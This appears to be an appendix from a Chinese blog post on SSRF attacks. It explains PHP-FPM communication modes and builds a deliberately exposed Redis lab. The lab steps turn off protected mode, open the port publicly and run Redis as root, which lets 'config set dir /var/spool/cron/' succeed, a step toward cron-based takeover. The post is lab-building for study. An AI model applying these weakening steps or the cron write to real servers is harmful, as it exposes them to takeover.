FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。

简单地说,FPM是实现和管理FastCGI进程的管理器,能够接收服务器中间件发送的FastCGI协议包并进行解析、最后将解析结果返回给服务器中间件。

这里借用先知的一个图来看看就清楚了:

img

通信方式

在PHP使用FastCGI连接模式的情况下,Web服务器中间件如Nginx和PHP-FPM之间的通信方式又分为两种:

TCP模式

TCP模式即是PHP-FPM进程会监听本机上的一个端口(默认为9000),然后Nginx会把客户端数据通过FastCGI协议传给9000端口,PHP-FPM拿到数据后会调用CGI进程解析。

通常我们可以通过查看Nginx的配置文件default.conf来确认是否是TCP模式,这里个人环境中的路径为/etc/nginx/conf.d/default.conf,关注fastcgi_pass这一项,若为ip+port的形式即为TCP模式:

1
2
3
4
5
6
7
8
location ~ \.php$ {      
index index.php index.html index.htm;
include /etc/nginx/fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
}

在PHP-FPM中,可以通过查看其配置文件,个人环境中的路径为/etc/php/7.2/fpm/pool.d/www.conf,看到listen一项若为ip+port的形式即为TCP模式:

1
2
3
4
5
6
7
8
9
10
11
; The address on which to accept FastCGI requests.
; Valid syntaxes are:
; 'ip.add.re.ss:port' - to listen on a TCP socket to a specific IPv4 address on
; a specific port;
; '[ip:6:addr:ess]:port' - to listen on a TCP socket to a specific IPv6 address on
; a specific port;
; 'port' - to listen on a TCP socket to all addresses; (IPv6 and IPv4-mapped) on a specific port;
; '/path/to/unix/socket' - to listen on a unix socket.
; Note: This value is mandatory.
listen = 127.0.0.1:9000

Unix Socket模式

Unix套接字模式是Unix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。

相比之下,Unix套接字模式的性能会优于TCP模式。

还是一样的识别方法,在Nginx的default.conf中查看fastcgi_pass:

1
2
3
4
5
6
7
8
location~\.php${      
index index.php index.html index.htm;
include /etc/nginx/fastcgi_params;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
}

在PHP-FPM的www.conf中查看listen:

1
2
listen = /run/php/php7.2-fpm.sock

Appendix B

Redis 环境搭建

  1. 目标机上安装redis服务:apt-get install redis

  2. 如果要使外网访问:

    更改/etc/redis/redis.conf配置:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # 取消绑定IP
    # bind 127.0.0.1

    # 允许后台运行
    daemonize yes

    # 取消保护模式
    protected-mode no

    更改防火墙配置:

    Ubuntu18.04:

    1
    2
    ufw allow 6379

    Centos7:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    # 列出所有开放端口
    firewall-cmd --list-all

    # 将6397端口加入防火墙
    firewall-cmd --zone=public --add-port=6397/tcp

    # 重启防火墙服务
    firewall-cmd --reload

    # 查看是否生效
    firewall-cmd --zone=public --query-port=6397/tcp

    重启redis服务:

    1
    2
    systemctl restart redis

    测试远程是否能够访问:

    查看端口是否开放:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    [email protected]:~# nmap 47.97.199.89 -p 6379
    Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-12 12:55 HKT
    Nmap scan report for 47.97.199.89
    Host is up (0.0098s latency).

    PORT STATE SERVICE
    6379/tcp open redis

    Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds

    查看是否能远程连接目标服务器的redis服务:

    1
    2
    3
    4
    [email protected]:~# redis-cli -h 47.97.199.89 -p 6379
    47.97.199.89:6379 > info
    > (返回redis基本信息)

    配置完成。

PHP-FPM 环境搭建

https://xz.aliyun.com/t/5598#toc-2

Nginx+PHP-FPM 502错误排查

https://www.datadoghq.com/blog/nginx-502-bad-gateway-errors-php-fpm/、

更改Redis的dir属性显示权限不足

运行命令:

1
2
3
4
[[email protected] ~]# redis-cli 
127.0.0.1:6379> config set dir /var/spool/cron/
(error) ERR Changing directory: Permission denied

此时redis服务是以非root身份启动:

1
2
3
[[email protected] ~]# ps aux |grep redis
redis 3849 0.0 0.3 142960 5804 ? Ssl 13:24 0:00 /usr/bin/redis-server *:6379

解决办法:

可以以root用户使用redis-server命令启动redis服务:

1
2
3
4
5
6
[[email protected] ~]# redis-server /etc/redis.conf
[[email protected] ~]# ps aux | grep redis
root 3856 0.0 0.2 22132 5168 pts/1 S+ 13:24 0:00 redis-cli
root 4245 0.0 0.2 142960 5312 ? Ssl 13:28 0:00 redis-server *:6379


Reference

https://joychou.org/web/phpssrf.html#directory0470238852615231466

https://www.evi1.cn/post/ssrf/

https://paper.seebug.org/409/

https://www.freebuf.com/articles/web/135342.html

Copyright © ca01h 2019-2020 | 本站总访问量